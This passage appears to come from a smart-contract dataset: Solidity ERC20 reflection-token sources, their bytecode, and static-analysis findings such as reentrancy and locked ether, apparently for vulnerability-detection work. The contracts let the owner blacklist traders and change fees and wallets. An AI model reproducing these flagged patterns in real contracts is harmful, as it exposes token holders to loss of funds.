require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!_isBot[from] && !_isBot[to], "Bots are not allowed");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != pair){
require(balanceOf(to) + amount <= maxWalletBalance, "You are exceeding maxWalletBalance");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair){
swapAndSendToFee(swapTokensAtAmount);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
_reflectRfi(s.rRfi, s.tRfi);
_takeMarketing(s.rMarketing,s.tMarketing);
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(this), s.tMarketing);
}
function swapAndSendToFee(uint256 tokens) private lockTheSwap{
swapTokensForETH(tokens, marketingWallet);
}
function swapTokensForETH(uint256 tokenAmount, address recipient) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
payable(recipient),
block.timestamp
);
}
function updateMarketingWallet(address newWallet) external onlyOwner{
marketingWallet = newWallet;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function setBot(address _user, bool value) external onlyOwner{
_isBot[_user] = value;
}
function isBot(address _bot) external view returns(bool){
return _isBot[_bot];
}
receive() external payable{
}
}
|
0x6080604052600436106102135760003560e01c80637688c58411610118578063aacebbe3116100a0578063dd62ed3e1161006f578063dd62ed3e1461065d578063e2f45605146106a3578063ea2f0b37146106b9578063f2fde38b146106d9578063f887ea40146106f957600080fd5b8063aacebbe3146105e7578063bbde77c114610607578063c2e5ec041461061d578063d257b34f1461063d57600080fd5b806395d89b41116100e757806395d89b411461021f5780639ba5e4d51461056c578063a457c2d714610587578063a8aa1b31146105a7578063a9059cbb146105c757600080fd5b80637688c584146104c557806388f82020146104f55780638da5cb5b1461052e578063924de9b71461054c57600080fd5b8063437823ec1161019b57806369c6a59c1161016a57806369c6a59c1461041e5780636ddd17131461043e57806370a0823114610458578063715018a61461047857806375f0a8741461048d57600080fd5b8063437823ec146103855780634549b039146103a55780634ada218b146103c55780635342acb4146103e557600080fd5b80632d838119116101e25780632d838119146102ce578063313ce567146102ee578063342aa8b51461030a578063395093511461032c5780633bbac5791461034c57600080fd5b806306fdde031461021f578063095ea7b31461025f57806318160ddd1461028f57806323b872dd146102ae57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50604080518082018252600881526723b0b6b2a7bb32b960c11b602082015290516102569190611d61565b60405180910390f35b34801561026b57600080fd5b5061027f61027a366004611cde565b610720565b6040519015158152602001610256565b34801561029b57600080fd5b50600b545b604051908152602001610256565b3480156102ba57600080fd5b5061027f6102c9366004611c68565b61078e565b3480156102da57600080fd5b506102a06102e9366004611d25565b61088e565b3480156102fa57600080fd5b5060405160098152602001610256565b34801561031657600080fd5b5061032a610325366004611ca9565b610912565b005b34801561033857600080fd5b5061027f610347366004611cde565b610967565b34801561035857600080fd5b5061027f610367366004611bf5565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561039157600080fd5b5061032a6103a0366004611bf5565b6109ed565b3480156103b157600080fd5b506102a06103c0366004611d3e565b610a3b565b3480156103d157600080fd5b5060095461027f9062010000900460ff1681565b3480156103f157600080fd5b5061027f610400366004611bf5565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561042a57600080fd5b5061032a610439366004611ca9565b610acb565b34801561044a57600080fd5b5060095461027f9060ff1681565b34801561046457600080fd5b506102a0610473366004611bf5565b610b20565b34801561048457600080fd5b5061032a610b7f565b34801561049957600080fd5b50600f546104ad906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b3480156104d157600080fd5b506010546011546104e0919082565b60408051928352602083019190915201610256565b34801561050157600080fd5b5061027f610510366004611bf5565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561053a57600080fd5b506000546001600160a01b03166104ad565b34801561055857600080fd5b5061032a610567366004611d0a565b610bb5565b34801561057857600080fd5b506012546013546104e0919082565b34801561059357600080fd5b5061027f6105a2366004611cde565b610bf2565b3480156105b357600080fd5b50600a546104ad906001600160a01b031681565b3480156105d357600080fd5b5061027f6105e2366004611cde565b610cde565b3480156105f357600080fd5b5061032a610602366004611bf5565b610d39565b34801561061357600080fd5b506102a0600e5481565b34801561062957600080fd5b5061032a610638366004611d0a565b610d85565b34801561064957600080fd5b5061032a610658366004611d25565b610dcb565b34801561066957600080fd5b506102a0610678366004611c2f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156106af57600080fd5b506102a0600d5481565b3480156106c557600080fd5b5061032a6106d4366004611bf5565b610e11565b3480156106e557600080fd5b5061032a6106f4366004611bf5565b610e5c565b34801561070557600080fd5b506009546104ad90630100000090046001600160a01b031681565b600954600090339062010000900460ff168061075457506001600160a01b03811660009081526007602052604090205460ff165b6107795760405162461bcd60e51b815260040161077090611deb565b60405180910390fd5b610784338585610ef7565b5060019392505050565b600954600090849062010000900460ff16806107c257506001600160a01b03811660009081526007602052604090205460ff165b6107de5760405162461bcd60e51b815260040161077090611deb565b6107e985858561101b565b6001600160a01b03851660009081526003602090815260408083203384529091529020548381101561086e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610770565b610882863361087d8785611fda565b610ef7565b50600195945050505050565b6000600c548211156108f55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610770565b60006108ff6113cc565b905061090b8184611eab565b9392505050565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161077090611db6565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600954600090339062010000900460ff168061099b57506001600160a01b03811660009081526007602052604090205460ff165b6109b75760405162461bcd60e51b815260040161077090611deb565b3360008181526003602090815260408083206001600160a01b03891684529091529020546107849190869061087d908790611e93565b6000546001600160a01b03163314610a175760405162461bcd60e51b815260040161077090611db6565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000600b54831115610a8f5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610770565b81610aab576000610aa18460016113ef565b519150610ac59050565b6000610ab88460016113ef565b602001519150610ac59050565b92915050565b6000546001600160a01b03163314610af55760405162461bcd60e51b815260040161077090611db6565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b03811660009081526005602052604081205460ff1615610b5d57506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610ac59061088e565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260040161077090611db6565b610bb36000611465565b565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161077090611db6565b6009805460ff1916911515919091179055565b600954600090339062010000900460ff1680610c2657506001600160a01b03811660009081526007602052604090205460ff165b610c425760405162461bcd60e51b815260040161077090611deb565b3360009081526003602090815260408083206001600160a01b038816845290915290205483811015610cc45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610770565b610cd3338661087d8785611fda565b506001949350505050565b600954600090339062010000900460ff1680610d1257506001600160a01b03811660009081526007602052604090205460ff165b610d2e5760405162461bcd60e51b815260040161077090611deb565b61078433858561101b565b6000546001600160a01b03163314610d635760405162461bcd60e51b815260040161077090611db6565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610daf5760405162461bcd60e51b815260040161077090611db6565b60098054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610df55760405162461bcd60e51b815260040161077090611db6565b610e016009600a611f10565b610e0b9082611fbb565b600d5550565b6000546001600160a01b03163314610e3b5760405162461bcd60e51b815260040161077090611db6565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610e865760405162461bcd60e51b815260040161077090611db6565b6001600160a01b038116610eeb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610770565b610ef481611465565b50565b6001600160a01b038316610f595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610770565b6001600160a01b038216610fba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610770565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661107f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610770565b6001600160a01b0382166110e15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610770565b600081116111435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610770565b61114c83610b20565b8111156111b55760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610770565b6001600160a01b03831660009081526006602052604090205460ff161580156111f757506001600160a01b03821660009081526006602052604090205460ff16155b61123a5760405162461bcd60e51b8152602060048201526014602482015273109bdd1cc8185c99481b9bdd08185b1b1bddd95960621b6044820152606401610770565b6001600160a01b03831660009081526004602052604090205460ff1615801561127c57506001600160a01b03821660009081526004602052604090205460ff16155b80156112965750600a546001600160a01b03838116911614155b1561130b57600e54816112a884610b20565b6112b29190611e93565b111561130b5760405162461bcd60e51b815260206004820152602260248201527f596f752061726520657863656564696e67206d617857616c6c657442616c616e604482015261636560f01b6064820152608401610770565b600061131630610b20565b600d5460095491925082101590610100900460ff1615801561133a575060095460ff165b80156113435750805b801561135d5750600a546001600160a01b03868116911614155b1561136d5761136d600d546114b5565b6001600160a01b03851660009081526004602052604090205460019060ff16806113af57506001600160a01b03851660009081526004602052604090205460ff165b156113b8575060005b6113c4868686846114e9565b505050505050565b60008060006113d9611701565b90925090506113e88183611eab565b9250505090565b61142f6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6114398383611884565b905061144e8184846114496113cc565b611939565b606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6009805461ff001916610100179055600f546114db9082906001600160a01b03166119a4565b506009805461ff0019169055565b60006114f583836113ef565b6001600160a01b03861660009081526005602052604090205490915060ff1615611557576001600160a01b03851660009081526002602052604090205461153d908490611fda565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff16156115ba5760808101516001600160a01b0385166000908152600260205260409020546115a09190611e93565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b0386166000908152600160205260409020546115df9190611fda565b6001600160a01b03808716600090815260016020908152604080832094909455840151918716815291909120546116169190611e93565b6001600160a01b038516600090815260016020526040908190209190915581015160a08201516116469190611b35565b61165881606001518260c00151611b6a565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83608001516040516116a191815260200190565b60405180910390a3306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c001516040516116f291815260200190565b60405180910390a35050505050565b600c54600b546000918291825b6008548110156118535782600160006008848154811061173057611730612022565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061179b575081600260006008848154811061177457611774612022565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156117b157600c54600b54945094505050509091565b60016000600883815481106117c8576117c8612022565b60009182526020808320909101546001600160a01b031683528201929092526040019020546117f79084611fda565b9250600260006008838154811061181057611810612022565b60009182526020808320909101546001600160a01b0316835282019290925260400190205461183f9083611fda565b91508061184b81611ff1565b91505061170e565b50600b54600c546118649190611eab565b82101561187b57600c54600b549350935050509091565b90939092509050565b6118c46040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b816118d55760808101839052610ac5565b6010546064906118e59085611fbb565b6118ef9190611eab565b60a08201526011546064906119049085611fbb565b61190e9190611eab565b60c0820181905260a08201516119249085611fda565b61192e9190611fda565b608082015292915050565b60008080806119488588611fbb565b93508561195d57508291506000905080611999565b848860a0015161196d9190611fbb565b9150848860c0015161197f9190611fbb565b90508061198c8386611fda565b6119969190611fda565b92505b945094509450949050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119d9576119d9612022565b60200260200101906001600160a01b031690816001600160a01b031681525050600960039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4757600080fd5b505afa158015611a5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7f9190611c12565b81600181518110611a9257611a92612022565b6001600160a01b039283166020918202929092010152600954611abf913091630100000090041685610ef7565b60095460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790611afe908690600090869088904290600401611e22565b600060405180830381600087803b158015611b1857600080fd5b505af1158015611b2c573d6000803e3d6000fd5b50505050505050565b81600c6000828254611b479190611fda565b909155505060128054829190600090611b61908490611e93565b90915550505050565b8060126001016000828254611b7f9190611e93565b90915550503060009081526005602052604090205460ff1615611bc1573060009081526002602052604081208054839290611bbb908490611e93565b90915550505b3060009081526001602052604081208054849290611b61908490611e93565b80358015158114611bf057600080fd5b919050565b600060208284031215611c0757600080fd5b813561090b81612038565b600060208284031215611c2457600080fd5b815161090b81612038565b60008060408385031215611c4257600080fd5b8235611c4d81612038565b91506020830135611c5d81612038565b809150509250929050565b600080600060608486031215611c7d57600080fd5b8335611c8881612038565b92506020840135611c9881612038565b929592945050506040919091013590565b60008060408385031215611cbc57600080fd5b8235611cc781612038565b9150611cd560208401611be0565b90509250929050565b60008060408385031215611cf157600080fd5b8235611cfc81612038565b946020939093013593505050565b600060208284031215611d1c57600080fd5b61090b82611be0565b600060208284031215611d3757600080fd5b5035919050565b60008060408385031215611d5157600080fd5b82359150611cd560208401611be0565b600060208083528351808285015260005b81811015611d8e57858101830151858201604001528201611d72565b81811115611da0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f54726164696e67206e6f7420656e61626c656420796574000000000000000000604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e725784516001600160a01b031683529383019391830191600101611e4d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ea657611ea661200c565b500190565b600082611ec857634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611f08578160001904821115611eee57611eee61200c565b80851615611efb57918102915b93841c9390800290611ed2565b509250929050565b600061090b60ff841683600082611f2957506001610ac5565b81611f3657506000610ac5565b8160018114611f4c5760028114611f5657611f72565b6001915050610ac5565b60ff841115611f6757611f6761200c565b50506001821b610ac5565b5060208310610133831016604e8410600b8410161715611f95575081810a610ac5565b611f9f8383611ecd565b8060001904821115611fb357611fb361200c565b029392505050565b6000816000190483118215151615611fd557611fd561200c565b500290565b600082821015611fec57611fec61200c565b500390565b60006000198214156120055761200561200c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610ef457600080fdfea26469706673582212207dabdc3c495805f941d505ec2eee2e3f33771d9c97fd10dd89be6e5dcb0bd77b64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,059 |
0xfb882D7137ade1EC5c0f4f9506ce00935Bf9458E
|
/*
Eat the Yummy DIP
$YUMMY -> https://t.me/yummydip
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YummyDip is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Yummy DIP";
string private constant _symbol = "YUMMY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address _deployer;
address payable private _teamAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier onlyDeployer() {
require(_deployer == _msgSender(), "Only deployer can call");
_;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_deployer = msg.sender;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(8).div(10));
}
function buyBack(uint256 amount) external onlyDeployer() {
require(amount <= address(this).balance,'excessive amount');
require(amount > 0 ,'at least 0');
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokens{value: amount}(
0,
path,
deadAddress,
block.timestamp);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101225760003560e01c80636b999053116100a057806395d89b411161006457806395d89b411461034d578063a9059cbb1461037b578063c3c8cd801461039b578063d543dbeb146103b0578063dd62ed3e146103d057600080fd5b80636b999053146102c55780636fc3eaec146102e557806370a08231146102fa578063715018a61461031a5780638da5cb5b1461032f57600080fd5b806323b872dd116100e757806323b872dd1461020857806327c8f83514610228578063293230b814610274578063313ce567146102895780635932ead1146102a557600080fd5b8062b8cf2a1461012e578063053f90401461015057806306fdde0314610170578063095ea7b3146101b457806318160ddd146101e457600080fd5b3661012957005b600080fd5b34801561013a57600080fd5b5061014e610149366004611b47565b610416565b005b34801561015c57600080fd5b5061014e61016b366004611c46565b6104c3565b34801561017c57600080fd5b50604080518082019091526009815268059756d6d79204449560bc1b60208201525b6040516101ab9190611d03565b60405180910390f35b3480156101c057600080fd5b506101d46101cf366004611b1c565b610732565b60405190151581526020016101ab565b3480156101f057600080fd5b5066038d7ea4c680005b6040519081526020016101ab565b34801561021457600080fd5b506101d4610223366004611adc565b610749565b34801561023457600080fd5b5061025c7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101ab565b34801561028057600080fd5b5061014e6107b2565b34801561029557600080fd5b50604051600981526020016101ab565b3480156102b157600080fd5b5061014e6102c0366004611c0e565b610b71565b3480156102d157600080fd5b5061014e6102e0366004611a6c565b610bb9565b34801561